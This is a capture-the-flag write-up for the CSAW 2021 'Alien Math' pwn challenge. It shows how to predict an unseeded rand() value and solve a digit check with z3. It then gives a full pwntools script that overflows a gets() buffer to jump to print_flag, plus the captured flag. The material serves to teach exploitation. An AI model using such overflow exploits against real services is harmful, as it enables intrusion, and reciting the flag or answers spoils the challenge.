Tags: csaw2021 pwn
Rating: 5.0
# Alien Math
We start from the taking a look at `alien_math` ELF binary in IDA and see the following picture:
Rough look at the code gives us the understanding that we need to solve some challenges before we actually have a BOF.
Let's start from the beginning.
The code asks user for some number (`scanf("%d", &v5)`) with a question `What is the square root of zopnol?`,
then it uses `rand()` to generate the first pseudo-random number which is then being compared with the user input.
The `rand()` function is called without preceeding call to `srand()` which must initialize the pseudo-random number generator,
that means all the `rand()` calls will have same output every program run (on any system).
So lets debug and see what the number is being generated by `rand()` and it will be the answer to the first challenge and it is a number `1804289383`.
The second challenge is inside `second_question(v4)` function, where `v4` holds user input for a question `How many tewgrunbs are in a qorbnorbf?`.
Here is the pseudocode of the `second_question` function:
We see that the user input (in `a1` argument) is being checked for allowed characters (`a1[i] <= '/' || a1[i] > '9'`) and
exits if there is a character which is not in range `0..9`.
Then some calculations and transformations are applied on the input buffer with help of `second_question_function` and after the loop the resulting buffer is being compared
with number `7759406485255323229225`.
Here is the pseudocode of `second_question_function`:
To solve this challenge I used `z3` python library:
```py
def second():
solver = z3.Solver()
chars = z3.BitVecs(''.join((f'd{d:02} ' for d in range(len(expected)-1))), 32)
for ch in chars:
solver.add(ch > 47, ch <= 57)
an = chars[0]
for i in range(len(chars)- 1):
v1 = chars[i + 1] - ord('0')
an = ((v1 + fn(an, i + an)) % 10) + ord('0')
solver.add(an == expected[i+1])
solver.add(chars[0] == ord('7'))
assert solver.check() == z3.sat
rv = ''
for i in range(len(chars)):
rv += chr(solver.model()[chars[i]].as_long())
print(rv)
return rv
print('finding the second challenge answer...')
enter2 = second().encode() # b'7856445899213065428791'
```
We got an answer to the second challenge question: `7856445899213065428791` and we finally reached `final_question` where the BOF is "implemented":
We see there is call `gets(v1)` where v1 is the stack buffer, lets try to exploit it with sending the pattern of
charatecters created with Metasploit's `pattern_create.rb` to find the stack offset to the retn address and it equals 24.
Let's build the final exploit and get the flag:
```py
import traceback
from pwn import *
import z3
ip = "pwn.chal.csaw.io"
port = 5004
# elf = ELF('alien_math')
prefix = b""
offset = 24 # calculated using pattern_offset
overflow = b"A" * offset
retn = p64(0x4014FB) # address of `print_flag`
buffer = prefix + overflow + retn
r = remote(ip, port)
enter1 = b'1804289383'
expected = b'7759406485255323229225'
def fn(a, b):
return (12 * (b - ord('0')) - 4 + 48 * (a - ord('0')) - (b - ord('0'))) % 10
def second():
solver = z3.Solver()
chars = z3.BitVecs(''.join((f'd{d:02} ' for d in range(len(expected)-1))), 32)
for ch in chars:
solver.add(ch > 47, ch <= 57)
an = chars[0]
for i in range(len(chars)- 1):
v1 = chars[i + 1] - ord('0')
an = ((v1 + fn(an, i + an)) % 10) + ord('0')
solver.add(an == expected[i+1])
solver.add(chars[0] == ord('7'))
assert solver.check() == z3.sat
rv = ''
for i in range(len(chars)):
rv += chr(solver.model()[chars[i]].as_long())
print(rv)
return rv
print('finding the second challenge answer...')
enter2 = second().encode() # b'7856445899213065428791'
try:
r.recvuntil(b'zopnol?')
print("solving the first challenge...")
r.sendline(enter1)
r.recvuntil(b'qorbnorbf?')
print('solving the second challenge')
r.sendline(enter2)
r.recvuntil(b'salwzoblrs?')
print("Sending payload...")
r.sendline(buffer)
while True:
print(r.recv(1024))
except EOFError:
pass
except:
print("error.")
print(traceback.format_exc())
```
Done! we got the flag: `flag{w3fL15n1Rx!_y0u_r34lLy_4R3_@_fL1rBg@rpL3_m4573R!}`
